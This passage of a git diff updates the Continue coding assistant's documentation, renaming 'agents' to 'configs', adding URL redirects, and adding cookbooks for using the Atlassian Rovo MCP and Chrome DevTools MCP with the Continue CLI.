+ "guides/how-to-self-host-a-model",
+ "guides/notion-continue-guide",
+ "guides/github-pr-review-bot"
+ ]
+ },
+ {
+ "group": "Cookbooks",
+ "icon": "book-open-cover",
+ "pages": [
+ "guides/posthog-github-continuous-ai",
+ "guides/continue-docs-mcp-cookbook",
+ "guides/github-mcp-continue-cookbook",
+ "guides/atlassian-mcp-continue-cookbook",
+ "guides/sanity-mcp-continue-cookbook",
+ "guides/sentry-mcp-error-monitoring",
+ "guides/snyk-mcp-continue-cookbook",
+ "guides/supabase-mcp-database-workflow",
+ "guides/dlt-mcp-continue-cookbook",
+ "guides/netlify-mcp-continuous-deployment",
+ "guides/chrome-devtools-mcp-performance"
]
}
]
@@ -302,7 +333,7 @@
"navbar": {
"links": [
{
- "label": "Explore",
+ "label": "🚀 Get Started",
"href": "https://hub.continue.dev/"
}
],
@@ -316,7 +347,8 @@
"x": "https://twitter.com/continuedev",
"github": "https://github.com/continuedev/continue",
"linkedin": "https://linkedin.com/company/continuedev",
- "discord": "https://discord.gg/vapESyrFmJ"
+ "discord": "https://discord.gg/vapESyrFmJ",
+ "youtube": "https://www.youtube.com/@continuedev"
}
},
"contextual": {
@@ -353,7 +385,27 @@
},
{
"source": "/hub/blocks",
- "destination": "/hub/blocks/intro"
+ "destination": "/hub/introduction"
+ },
+ {
+ "source": "/hub/blocks/intro",
+ "destination": "/hub/introduction"
+ },
+ {
+ "source": "/hub/blocks/use-a-block",
+ "destination": "/hub/introduction"
+ },
+ {
+ "source": "/hub/blocks/block-types",
+ "destination": "/hub/introduction"
+ },
+ {
+ "source": "/hub/workflows/intro",
+ "destination": "/hub/agents/intro"
+ },
+ {
+ "source": "/hub/blocks/create-a-block",
+ "destination": "/hub/introduction"
},
{
"source": "/customize",
@@ -369,11 +421,11 @@
},
{
"source": "/install/vscode",
- "destination": "/getting-started/install"
+ "destination": "/ide-extensions/install"
},
{
"source": "/install/jetbrains",
- "destination": "/getting-started/install"
+ "destination": "/ide-extensions/install"
},
{
"source": "/customize/model-types",
@@ -421,23 +473,27 @@
},
{
"source": "/model-setup/overview",
- "destination": "/getting-started/overview"
+ "destination": "/customize/model-roles/"
},
{
"source": "/model-setup/select-model",
- "destination": "/getting-started/overview"
+ "destination": "/customize/model-roles/00-intro#selecting-model-roles"
},
{
"source": "/model-setup/configuration",
- "destination": "/getting-started/overview"
+ "destination": "/customize/deep-dives/configuration"
},
{
"source": "/quickstart",
- "destination": "/getting-started/overview"
+ "destination": "/"
},
{
"source": "/how-to-use-continue",
- "destination": "/getting-started/overview"
+ "destination": "/"
+ },
+ {
+ "source": "/getting-started/overview",
+ "destination": "/"
},
{
"source": "/setup/select-provider",
@@ -837,51 +893,51 @@
},
{
"source": "/chat",
- "destination": "/features/chat/quick-start"
+ "destination": "/ide-extensions/chat/quick-start"
},
{
"source": "/chat/how-to-use-it",
- "destination": "/features/chat/quick-start"
+ "destination": "/ide-extensions/chat/quick-start"
},
{
"source": "/agent",
- "destination": "/features/agent/quick-start"
+ "destination": "/ide-extensions/agent/quick-start"
},
{
"source": "/agent/how-to-use-it",
- "destination": "/features/agent/quick-start"
+ "destination": "/ide-extensions/agent/quick-start"
},
{
"source": "/features/agent/how-to-use-it",
- "destination": "/features/agent/quick-start"
+ "destination": "/ide-extensions/agent/quick-start"
},
{
"source": "/edit",
- "destination": "/features/edit/quick-start"
+ "destination": "/ide-extensions/edit/quick-start"
},
{
"source": "/edit/how-to-use-it",
- "destination": "/features/edit/quick-start"
+ "destination": "/ide-extensions/edit/quick-start"
},
{
"source": "/features/edit/how-to-use-it",
- "destination": "/features/edit/quick-start"
+ "destination": "/ide-extensions/edit/quick-start"
},
{
"source": "/autocomplete",
- "destination": "/features/autocomplete/quick-start"
+ "destination": "/ide-extensions/autocomplete/quick-start"
},
{
"source": "/autocomplete/how-to-use-it",
- "destination": "/features/autocomplete/quick-start"
+ "destination": "/ide-extensions/autocomplete/quick-start"
},
{
"source": "/features/autocomplete/how-to-use-it",
- "destination": "/features/autocomplete/quick-start"
+ "destination": "/ide-extensions/autocomplete/quick-start"
},
{
- "source": "/getting-started",
- "destination": "/getting-started/install"
+ "source": "/getting-started/install",
+ "destination": "/ide-extensions/install"
},
{
"source": "/customize/deep-dives/prompt-files",
@@ -889,19 +945,19 @@
},
{
"source": "/chat/how-it-works",
- "destination": "/features/chat/how-it-works"
+ "destination": "/ide-extensions/chat/how-it-works"
},
{
"source": "/autocomplete/how-it-works",
- "destination": "/features/autocomplete/how-it-works"
+ "destination": "/ide-extensions/autocomplete/how-it-works"
},
{
"source": "/edit/how-it-works",
- "destination": "/features/edit/how-it-works"
+ "destination": "/ide-extensions/edit/how-it-works"
},
{
"source": "/agent/how-it-works",
- "destination": "/features/agent/how-it-works"
+ "destination": "/ide-extensions/agent/how-it-works"
},
{
"source": "/telemetry",
@@ -941,55 +997,55 @@
},
{
"source": "/autocomplete/model-setup",
- "destination": "/features/autocomplete/model-setup"
+ "destination": "/ide-extensions/autocomplete/model-setup"
},
{
"source": "/autocomplete/how-to-customize",
- "destination": "/features/autocomplete/how-to-customize"
+ "destination": "/ide-extensions/autocomplete/how-to-customize"
},
{
"source": "/autocomplete/context-selection",
- "destination": "/features/autocomplete/context-selection"
+ "destination": "/ide-extensions/autocomplete/context-selection"
},
{
"source": "/chat/model-setup",
- "destination": "/features/chat/model-setup"
+ "destination": "/ide-extensions/chat/model-setup"
},
{
"source": "/chat/how-to-customize",
- "destination": "/features/chat/how-to-customize"
+ "destination": "/ide-extensions/chat/how-to-customize"
},
{
"source": "/chat/context-selection",
- "destination": "/features/chat/context-selection"
+ "destination": "/ide-extensions/chat/context-selection"
},
{
"source": "/features/chat/how-to-use-it",
- "destination": "/features/chat/quick-start"
+ "destination": "/ide-extensions/chat/quick-start"
},
{
"source": "/edit/model-setup",
- "destination": "/features/edit/model-setup"
+ "destination": "/ide-extensions/edit/model-setup"
},
{
"source": "/edit/how-to-customize",
- "destination": "/features/edit/how-to-customize"
+ "destination": "/ide-extensions/edit/how-to-customize"
},
{
"source": "/edit/context-selection",
- "destination": "/features/edit/context-selection"
+ "destination": "/ide-extensions/edit/context-selection"
},
{
"source": "/agent/model-setup",
- "destination": "/features/agent/model-setup"
+ "destination": "/ide-extensions/agent/model-setup"
},
{
"source": "/agent/how-to-customize",
- "destination": "/features/agent/how-to-customize"
+ "destination": "/ide-extensions/agent/how-to-customize"
},
{
"source": "/agent/context-selection",
- "destination": "/features/agent/context-selection"
+ "destination": "/ide-extensions/agent/context-selection"
},
{
"source": "/customize/context/codebase",
@@ -1021,7 +1077,7 @@
},
{
"source": "/hub/blocks/bundles",
- "destination": "/hub/blocks/intro"
+ "destination": "/hub/introduction"
},
{
"source": "/customize/settings",
@@ -1169,27 +1225,143 @@
},
{
"source": "/features/edit/next-edit",
- "destination": "/features/autocomplete/next-edit"
+ "destination": "/ide-extensions/autocomplete/next-edit"
+ },
+ {
+ "source": "/features/plan/quick-start",
+ "destination": "/ide-extensions/agent/plan-mode"
},
{
"source": "/hub/assistants/intro",
- "destination": "/hub/agents/intro"
+ "destination": "/hub/configs/intro"
},
{
"source": "/hub/assistants/use-an-assistant",
- "destination": "/hub/agents/use-an-agent"
+ "destination": "/hub/configs/use-a-config"
},
{
"source": "/hub/assistants/create-an-assistant",
- "destination": "/hub/agents/create-an-agent"
+ "destination": "/hub/configs/create-a-config"
},
{
"source": "/hub/assistants/edit-an-assistant",
- "destination": "/hub/agents/edit-an-agent"
+ "destination": "/hub/configs/edit-a-config"
+ },
+ {
+ "source": "/hub/agents/use-an-agent",
+ "destination": "/hub/configs/use-a-config"
+ },
+ {
+ "source": "/hub/agents/create-an-agent",
+ "destination": "/hub/configs/create-a-config"
+ },
+ {
+ "source": "/hub/agents/edit-an-agent",
+ "destination": "/hub/configs/edit-a-config"
},
{
"source": "/guides/understanding-assistants",
- "destination": "/guides/understanding-agents"
+ "destination": "/guides/understanding-configs"
+ },
+ {
+ "source": "/guides/understanding-agents",
+ "destination": "/guides/understanding-configs"
+ },
+ {
+ "source": "/features",
+ "destination": "/ide-extensions"
+ },
+ {
+ "source": "/features/agent/quick-start",
+ "destination": "/ide-extensions/agent/quick-start"
+ },
+ {
+ "source": "/features/agent/how-it-works",
+ "destination": "/ide-extensions/agent/how-it-works"
+ },
+ {
+ "source": "/features/agent/plan-mode",
+ "destination": "/ide-extensions/agent/plan-mode"
+ },
+ {
+ "source": "/features/agent/model-setup",
+ "destination": "/ide-extensions/agent/model-setup"
+ },
+ {
+ "source": "/features/agent/how-to-customize",
+ "destination": "/ide-extensions/agent/how-to-customize"
+ },
+ {
+ "source": "/features/agent/context-selection",
+ "destination": "/ide-extensions/agent/context-selection"
+ },
+ {
+ "source": "/features/chat/quick-start",
+ "destination": "/ide-extensions/chat/quick-start"
+ },
+ {
+ "source": "/features/chat/how-it-works",
+ "destination": "/ide-extensions/chat/how-it-works"
+ },
+ {
+ "source": "/features/chat/model-setup",
+ "destination": "/ide-extensions/chat/model-setup"
+ },
+ {
+ "source": "/features/chat/how-to-customize",
+ "destination": "/ide-extensions/chat/how-to-customize"
+ },
+ {
+ "source": "/features/chat/context-selection",
+ "destination": "/ide-extensions/chat/context-selection"
+ },
+ {
+ "source": "/features/autocomplete/quick-start",
+ "destination": "/ide-extensions/autocomplete/quick-start"
+ },
+ {
+ "source": "/features/autocomplete/how-it-works",
+ "destination": "/ide-extensions/autocomplete/how-it-works"
+ },
+ {
+ "source": "/features/autocomplete/model-setup",
+ "destination": "/ide-extensions/autocomplete/model-setup"
+ },
+ {
+ "source": "/features/autocomplete/how-to-customize",
+ "destination": "/ide-extensions/autocomplete/how-to-customize"
+ },
+ {
+ "source": "/features/autocomplete/context-selection",
+ "destination": "/ide-extensions/autocomplete/context-selection"
+ },
+ {
+ "source": "/features/autocomplete/next-edit",
+ "destination": "/ide-extensions/autocomplete/next-edit"
+ },
+ {
+ "source": "/features/edit/quick-start",
+ "destination": "/ide-extensions/edit/quick-start"
+ },
+ {
+ "source": "/features/edit/how-it-works",
+ "destination": "/ide-extensions/edit/how-it-works"
+ },
+ {
+ "source": "/features/edit/model-setup",
+ "destination": "/ide-extensions/edit/model-setup"
+ },
+ {
+ "source": "/features/edit/how-to-customize",
+ "destination": "/ide-extensions/edit/how-to-customize"
+ },
+ {
+ "source": "/features/edit/context-selection",
+ "destination": "/ide-extensions/edit/context-selection"
+ },
+ {
+ "source": "/getting-started/quick-start",
+ "destination": "/ide-extensions/quick-start"
}
]
}
diff --git a/docs/faqs.mdx b/docs/faqs.mdx
index 36b93ff77..34e6ab9c7 100644
--- a/docs/faqs.mdx
+++ b/docs/faqs.mdx
@@ -48,15 +48,15 @@ If you are using VS Code and require requests to be made through a proxy, you ar
Continue can be used in [code-server](https://coder.com/), but if you are running across an error in the logs that includes "This is likely because the editor is not running in a secure context", please see [their documentation on securely exposing code-server](https://coder.com/docs/code-server/latest/guide#expose-code-server).
-## Changes to agents not showing in VS Code
+## Changes to configs not showing in VS Code
-If you've made changes to agents (adding, modifying, or removing them) but the changes aren't appearing in the Continue extension in VS Code, try reloading the VS Code window:
+If you've made changes to a config (adding, modifying, or removing it) but the changes aren't appearing in the Continue extension in VS Code, try reloading the VS Code window:
1. Open the command palette (`cmd/ctrl` + `shift` + `P`)
2. Type "Reload Window"
3. Select the reload option
-This will restart VS Code and reload all extensions, which should make your agent changes visible.
+This will restart VS Code and reload all extensions, which should make your config changes visible.
## I installed Continue, but don't see the sidebar window
@@ -256,7 +256,7 @@ If you're getting parse errors with remote Ollama:
3. **Check URL format**: Ensure you're using `http://` not `https://` for local network addresses
-## Local Agent
+## Local Config
### Managing Local Secrets and Environment Variables
@@ -318,7 +318,7 @@ If your API keys aren't being recognized:
### Using Model Addons Locally
-You can leverage model addons from the Continue Hub in your local agent configurations using the `uses:` syntax. This allows you to reference pre-configured model blocks without duplicating configuration.
+You can leverage model addons from the Continue Hub in your local configurations using the `uses:` syntax. This allows you to reference pre-configured model blocks without duplicating configuration.
#### Requirements
@@ -330,7 +330,7 @@ You can leverage model addons from the Continue Hub in your local agent configur
In your local `config.yaml`, reference model addons using the format `provider/model-name`:
```yaml
-name: My Local Agent
+name: My Local Config
version: 0.0.1
schema: v1
models:
@@ -344,7 +344,7 @@ models:
You can combine hub model addons with local models:
```yaml
-name: My Local Agent
+name: My Local Config
version: 0.0.1
schema: v1
models:
diff --git a/docs/getting-started/extensions.mdx b/docs/getting-started/extensions.mdx
index 24db1064e..54a490aca 100644
--- a/docs/getting-started/extensions.mdx
+++ b/docs/getting-started/extensions.mdx
@@ -1,6 +1,6 @@
---
-title: "Understanding Agents"
+title: "Understanding Configs"
description: "Continue offers two ways to configure your AI assistants"
---
-This content has moved to our comprehensive guide: [Understanding Agents: Hub vs Local Configuration](/guides/understanding-assistants)
+This content has moved to our comprehensive guide: [Understanding Hub vs Local Configuration](/guides/understanding-configs)
diff --git a/docs/getting-started/overview.mdx b/docs/getting-started/overview.mdx
deleted file mode 100644
index a7c610a4b..000000000
--- a/docs/getting-started/overview.mdx
+++ /dev/null
@@ -1,62 +0,0 @@
----
-title: "Overview"
-description: "To quickly understand what you can do with Continue, check out each tab below."
----
-
-## Features
-
-
-
-[Agent](/features/agent/quick-start) equips the Chat model with the tools needed to handle a wide range of coding tasks
-
-
-
-
- Learn more about [Agent](/features/agent/quick-start)
-
-
-
-
-[Chat](/features/chat/quick-start) makes it easy to ask for help from an LLM without needing to leave the IDE
-
-
-
-
- Learn more about [Chat](/features/chat/quick-start)
-
-
-
-
-[Plan](/features/agent/plan-mode) provides a safe environment with read-only tools for exploring code and planning changes
-
-
-
-
- Learn more about [Plan](/features/agent/plan-mode)
-
-
-
-
-[Edit](/features/edit/quick-start) is a convenient way to modify code without leaving your current file
-
-
-
-
- Learn more about [Edit](/features/edit/quick-start)
-
-
-
-
-[Autocomplete](/features/autocomplete/quick-start) provides inline code suggestions as you type
-
-
-
-
- Learn more about [Autocomplete](/features/autocomplete/quick-start)
-
-
-
-
-## AI Coding Agents
-
-Continue offers flexible AI assistants that enhance your development workflow. You can choose between cloud-managed **Hub Agents** for easy setup and synchronization, or **Local Agents** for complete control and privacy. Learn more about [understanding and configuring assistants](/guides/understanding-assistants).
diff --git a/docs/guides/atlassian-mcp-continue-cookbook.mdx b/docs/guides/atlassian-mcp-continue-cookbook.mdx
new file mode 100644
index 000000000..9b4b8cc9c
--- /dev/null
+++ b/docs/guides/atlassian-mcp-continue-cookbook.mdx
@@ -0,0 +1,511 @@
+---
+title: "Jira Issues and Confluence Pages with Atlassian MCP and Continue"
+description: "Use Continue and the Atlassian Rovo MCP to search, summarize, and manage Jira issues, Confluence pages, and Compass components with natural language prompts."
+sidebarTitle: "Atlassian Workflows with Continue"
+---
+
+
+ An Atlassian workflow assistant that uses Continue with the Atlassian Rovo MCP to:
+ - Search and summarize Jira issues across projects
+ - Find and digest Confluence documentation
+ - Create and update Jira issues with natural language
+ - Query Compass components and service dependencies
+ - Automate Atlassian workflows with headless CLI runs
+
+
+## Prerequisites
+
+Before starting, ensure you have:
+
+- Continue account with **Hub access**
+ - Read: [Understanding Configs — How to get started with Hub configs](/guides/understanding-configs#how-to-get-started-with-hub-configs)
+- Node.js 18+ installed locally
+- An Atlassian Cloud site with Jira, Confluence, and/or Compass
+- Access to the Atlassian products you want to integrate with
+
+
+ The Atlassian Rovo MCP Server is currently in **Beta**. Core functionality is available, but some features are still under development.
+
+
+For all options, first:
+
+
+ ```bash
+ npm i -g @continuedev/cli
+ ```
+
+
+
+ The Atlassian MCP uses **OAuth 2.1** for authentication. The first time you connect, you'll complete a browser-based authorization flow that respects your existing Atlassian permissions.
+
+
+
+
+ To use agents in headless mode, you need a [Continue API key](https://hub.continue.dev/settings/api-keys).
+ All data access respects your existing Jira, Confluence, and Compass user permissions.
+
+
+## Choose Your Atlassian Agent
+
+
+ We've created two ready-to-use agents to help you get started fast - they come pre-configured with optimized prompts, rules, and the Atlassian MCP. You don't have to use these agents, but they're designed to give you the best experience right away. Choose the agent that matches your needs, or create your own custom agent.
+
+
+### Agent Quick Reference
+
+| Agent | Best For | Use Cases | Link |
+|-------|----------|-----------|------|
+| **Jira Agent** | Issue Management | Search issues, create stories, sprint planning, status updates, bulk operations | [View Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-jira-agent) |
+| **Confluence Agent** | Documentation | Search pages, summarize docs, create/update pages, manage spaces | [View Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-confluence-agent) |
+
+
+ **Cross-product workflows**: Both agents can work with Jira, Confluence, and Compass. Choose based on your primary focus area, or create your own agent using the [Atlassian MCP](https://hub.continue.dev/atlassian/atlassian-mcp). The Atlassian MCP can work with Jira, Compass, or Confluence.
+
+
+
+
+
+
+ Visit the [Atlassian Continuous AI - Jira Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-jira-agent) on Continue Hub. This agent is optimized for:
+ - Searching and filtering Jira issues
+ - Creating and updating issues
+ - Sprint planning and workload analysis
+ - Issue transitions and status updates
+
+ No installation needed - you can start using it immediately from the command line!
+
+
+
+ On first use, you'll be prompted to authorize the MCP server in your browser. This is a one-time setup that grants access based on your Atlassian permissions.
+
+
+
+ From anywhere in your terminal:
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "Show me my open issues assigned to me"
+ ```
+ The agent will connect to your Atlassian site and return results.
+
+
+
+
+ **Pro tip**: Create a shell alias for the Jira agent:
+ ```bash
+ alias jira-ai='cn --agent continuedev/atlassian-continuous-ai-jira-agent'
+ ```
+ Then use: `jira-ai "your prompt"`
+
+
+
+
+
+
+ Visit the [Atlassian Continuous AI - Confluence Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-confluence-agent) on Continue Hub. This agent is optimized for:
+ - Searching and summarizing documentation
+ - Creating and updating Confluence pages
+ - Managing spaces and content
+ - Documentation discovery
+
+ No installation needed - you can start using it immediately from the command line!
+
+
+
+ On first use, you'll be prompted to authorize the MCP server in your browser. This is a one-time setup that grants access based on your Atlassian permissions.
+
+
+
+ From anywhere in your terminal:
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Summarize the Q2 planning page"
+ ```
+ The agent will connect to your Atlassian site and return results.
+
+
+
+
+ **Pro tip**: Create a shell alias for the Confluence agent:
+ ```bash
+ alias confluence-ai='cn --agent continuedev/atlassian-continuous-ai-confluence-agent'
+ ```
+ Then use: `confluence-ai "your prompt"`
+
+
+
+
+
+
+ Go to the [Continue Hub](https://hub.continue.dev) and [create a new agent](https://hub.continue.dev/new?type=agent).
+
+
+
+ Install from Hub (recommended) or add YAML manually. Minimal YAML example:
+
+ ```yaml title="config.yaml"
+ mcpServers:
+ - name: Atlassian Rovo MCP
+ type: sse
+ url: https://mcp.atlassian.com/v1/sse
+ connectionTimeout: 30
+ ```
+
+ Notes:
+ - The Atlassian MCP uses **Server-Sent Events (SSE)** transport type
+ - OAuth is handled automatically on first connection
+ - No API keys or tokens needed in the config
+
+
+
+ Launch Continue and ask:
+ ```
+ List my Jira projects
+ ```
+ You'll be prompted to authorize in your browser if this is your first time.
+
+
+
+
+
+
+ To use Atlassian MCP with Continue CLI, you need either:
+ - **Continue CLI Pro Plan** with the models add-on, OR
+ - **Your own API keys** added to Continue Hub secrets
+
+ The agent will automatically detect and use your configuration along with the Atlassian MCP for Jira, Confluence, and Compass operations.
+
+
+
+---
+
+## Jira Workflows
+
+
+ **Using the Jira Agent**: All examples below use the [Jira Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-jira-agent) which is optimized for issue management.
+
+
+Use natural language to explore, triage, and manage Jira issues. The agent calls Atlassian MCP tools under the hood.
+
+
+ **Running in headless mode**: Add `-p` flag before your prompt and `--auto` flag at the end:
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent -p "your prompt" --auto
+ ```
+ **Important**: Complete browser OAuth authentication first before using headless mode.
+
+
+### Search and Discovery
+
+
+
+ Search for bugs across your projects.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "Find all open bugs in Project Alpha"
+ ```
+
+
+
+ Get a list of issues assigned to you.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "Show me all issues assigned to me that are in progress"
+ ```
+
+
+
+ Analyze sprint workload and priorities.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "List all issues in the current sprint. Group by assignee and priority. Summarize the workload distribution and flag any overloaded team members."
+ ```
+
+
+
+### Create and Update
+
+
+
+ Turn natural language into a Jira story.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "Create a story titled 'Redesign onboarding flow' in Project Alpha. Description: We need to simplify the user registration process by reducing steps from 5 to 3. Target completion: Q3."
+ ```
+
+
+
+ Create multiple issues from meeting notes or specs.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "Create five Jira issues from these meeting notes: 1) Fix login timeout bug 2) Update API documentation 3) Implement dark mode toggle 4) Review security audit findings 5) Optimize database queries"
+ ```
+
+
+
+ Transition issues with natural language.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "Move PROJ-123 to In Progress and add a comment: Starting work on this today. ETA: end of week."
+ ```
+
+
+
+---
+
+## Confluence Workflows
+
+
+ **Using the Confluence Agent**: All examples below use the [Confluence Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-confluence-agent) which is optimized for documentation management.
+
+
+Access, search, and manage your team's documentation directly from Continue.
+
+
+ **Running in headless mode**: Add `-p` flag before your prompt and `--auto` flag at the end:
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-confluence-agent -p "your prompt" --auto
+ ```
+ **Important**: Complete browser OAuth authentication first before using headless mode.
+
+
+### Search and Summarize
+
+
+
+ Get a quick summary of a Confluence page.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Summarize the Q2 planning page from the Engineering space"
+ ```
+
+
+
+ Search for specific information across Confluence.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Find all pages about API authentication in our developer docs"
+ ```
+
+
+
+ Discover what Confluence spaces you have access to.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-confluence-agent "What Confluence spaces do I have access to?"
+ ```
+
+
+
+### Create and Update
+
+
+
+ Generate a new Confluence page with structured content.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Create a page titled 'Team Goals Q3' in the Engineering space. Include sections for: Objectives, Key Results, and Timeline."
+ ```
+
+
+
+ Modify content on an existing page.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Update the 'Onboarding Guide' page to add a new section about our code review process"
+ ```
+
+
+
+---
+
+## Compass Workflows
+
+
+ **Using Either Agent**: Compass workflows work with both agents. Use the Jira agent for component-to-issue workflows, or the Confluence agent for component-to-docs workflows.
+
+
+Query and manage your service architecture with Compass integration.
+
+
+ **Running in headless mode**: Add `-p` flag before your prompt and `--auto` flag at the end. Complete browser OAuth authentication first before using headless mode.
+
+
+### Service Discovery
+
+
+
+ Understand service relationships.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "What services depend on the api-gateway component?"
+ ```
+
+
+
+ Register a new service in Compass.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "Create a service component for the current repository. Use the package.json to infer details."
+ ```
+
+
+
+ Import multiple components from structured data.
+
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "Import Compass components and custom fields from this CSV: [paste CSV data]"
+ ```
+
+ Or reference a file:
+ ```bash
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "Import Compass components from services.csv in the current directory"
+ ```
+
+
+
+---
+
+## Combined Workflows
+
+
+ **Cross-Product Workflows**: These workflows span multiple Atlassian products. Choose the agent based on your primary focus:
+ - Use **Jira Agent** when the workflow is issue-centric
+ - Use **Confluence Agent** when the workflow is documentation-centric
+
+
+Integrate actions across Jira, Confluence, and Compass for powerful cross-product workflows.
+
+
+ **Running in headless mode**: Add `-p` flag before your prompt and `--auto` flag at the end. Complete browser OAuth authentication first before using headless mode.
+
+
+
+
+ Connect related content across products.
+
+ ```bash
+ # Using Jira Agent for issue-centric workflow
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "Link Jira tickets PROJ-123, PROJ-456, and PROJ-789 to the 'Sprint 23 Release Plan' Confluence page"
+ ```
+
+
+
+ Find documentation for a specific component.
+
+ ```bash
+ # Using Confluence Agent for docs-centric workflow
+ cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Fetch the Confluence documentation page linked to the user-authentication Compass component"
+ ```
+
+
+
+ Create release documentation from completed work.
+
+ ```bash
+ # Using Jira Agent to pull issue data and create in Confluence
+ cn --agent continuedev/atlassian-continuous-ai-jira-agent "Generate release notes for all Jira issues completed in Sprint 23. Create a Confluence page in the Release Notes space with: New features (grouped by epic), Bug fixes, Known issues, Deployment instructions"
+ ```
+
+
+
+---
+
+## Troubleshooting
+
+
+
+ - **"Your site admin must authorize this app"**: A site admin needs to complete the OAuth flow first before other users can connect
+ - **Can't complete browser authorization**: Ensure you're logged into the correct Atlassian Cloud site and have necessary permissions
+ - **Connection timeout**: Increase `connectionTimeout` in your MCP config or check your network connection
+
+
+
+ - **"Access denied" or "Forbidden"**: The MCP respects your existing Atlassian permissions. Verify you have access to the project/space/component you're trying to access
+ - **Can't create issues**: Ensure you have "Create issues" permission in the target Jira project
+ - **Can't edit Confluence pages**: Verify you have edit permissions in the target Confluence space
+
+
+
+ - **Standard plan**: Moderate usage thresholds
+ - **Premium/Enterprise plans**: Higher quotas (1,000 requests/hour plus per-user limits)
+ - If you hit rate limits, reduce query frequency or batch operations
+
+
+
+ - Bulk operations may be constrained by rate limits
+ - Custom Jira fields may not be recognized without explicit setup
+ - Workspace/site switching not available within a single session
+ - Check [Atlassian Community](https://community.atlassian.com/) for known issues
+
+
+
+### Admin Considerations
+
+
+ **Installation**: The Atlassian Rovo MCP is automatically installed on first OAuth authorization (JIT installation) - no Marketplace installation needed.
+
+ **Managing Access**:
+ - View connected apps in [Admin Hub](https://admin.atlassian.com)
+ - Users can revoke access from their [profile settings](https://id.atlassian.com/manage-profile/apps)
+ - Block user-installed apps via "user-installed apps" control in Admin Hub
+
+ **Security**: All traffic is encrypted via HTTPS (TLS 1.2+), and access respects existing user permissions.
+
+
+---
+
+## What You've Built
+
+After completing this guide, you have a complete **AI-powered Atlassian workflow system** that:
+
+- ✅ Uses natural language — Simple prompts for complex Atlassian operations
+- ✅ Spans multiple products — Seamlessly works across Jira, Confluence, and Compass
+- ✅ Respects permissions — Secure OAuth-based access with existing role enforcement
+- ✅ Runs headlessly — Integrate into CI/CD pipelines and automation scripts
+
+
+ Your Atlassian workflows now operate at **[Level 2 Continuous
+ AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** -
+ AI handles routine project management tasks with human oversight through
+ review and approval.
+
+
+## Next Steps
+
+1. **Explore your projects** - Try the Jira search and triage prompts
+2. **Organize documentation** - Use Confluence workflows to summarize and create pages
+3. **Map your services** - Query Compass for service dependencies
+4. **Customize prompts** - Tailor workflows to your team's specific needs
+5. **Monitor usage** - Track how AI improves your Atlassian workflows
+
+## Additional Resources
+
+
+
+ Official Atlassian MCP documentation
+
+
+ How MCP works with Continue agents
+
+
+ Create and manage your agents
+
+
+ Get help and share feedback
+
+
+
+## Example Use Cases
+
+
+
+ Automate release notes generation, link issues to documentation, and track deployment status across Jira and Confluence.
+
+
+ Analyze workload distribution, identify blockers, and generate sprint summaries automatically.
+
+
+ Map service dependencies in Compass, link to technical documentation in Confluence, and track related issues in Jira.
+
+
+ Create standardized Jira onboarding tickets, link to Confluence guides, and track new hire progress.
+
+
diff --git a/docs/guides/chrome-devtools-mcp-performance.mdx b/docs/guides/chrome-devtools-mcp-performance.mdx
new file mode 100644
index 000000000..8e185ef4a
--- /dev/null
+++ b/docs/guides/chrome-devtools-mcp-performance.mdx
@@ -0,0 +1,798 @@
+---
+title: "Chrome DevTools Performance Optimization Cookbook"
+description: "Measure and optimize web performance with Chrome DevTools MCP, automated performance traces, and Core Web Vitals monitoring using Continue."
+sidebarTitle: "Chrome DevTools MCP for Performance"
+---
+
+
+ Use AI to automatically trace performance, analyze Core Web Vitals, diagnose bottlenecks, and get actionable optimization suggestions directly from Chrome DevTools
+
+
+
+ **Did You Know?** Chrome DevTools MCP brings the full power of browser debugging to your AI workflow:
+ - [Performance Traces](https://developer.chrome.com/docs/devtools/performance) with automated analysis
+ - [Network Request Monitoring](https://developer.chrome.com/docs/devtools/network) for bottleneck detection
+ - [Console Debugging](https://developer.chrome.com/docs/devtools/console) with error pattern recognition
+ - [CPU & Network Throttling](https://developer.chrome.com/docs/devtools/performance/reference#throttling) to simulate real-world conditions
+ - [Performance Insights](https://developer.chrome.com/docs/devtools/performance-insights) with AI-powered analysis
+ - [Screenshot Debugging](https://developer.chrome.com/docs/devtools/device-mode) for visual regression detection
+
+This guide shows you how to leverage these features through natural language with Continue CLI!
+
+
+
+## What You'll Learn
+
+This cookbook teaches you to:
+
+- Run automated [performance traces](https://developer.chrome.com/docs/devtools/performance) to capture runtime metrics
+- Analyze [Core Web Vitals](https://web.dev/vitals/) (LCP, FID, CLS, INP) and performance insights
+- Diagnose performance bottlenecks using network and console analysis
+- Test performance under different network and CPU conditions with [throttling](https://developer.chrome.com/docs/devtools/performance/reference#throttling)
+- Automate visual regression testing with [screenshots](https://developer.chrome.com/docs/devtools/device-mode)
+
+## Prerequisites
+
+- Chrome browser installed
+- Web project with a running development server (or deployed URL)
+- Node.js 20+ installed
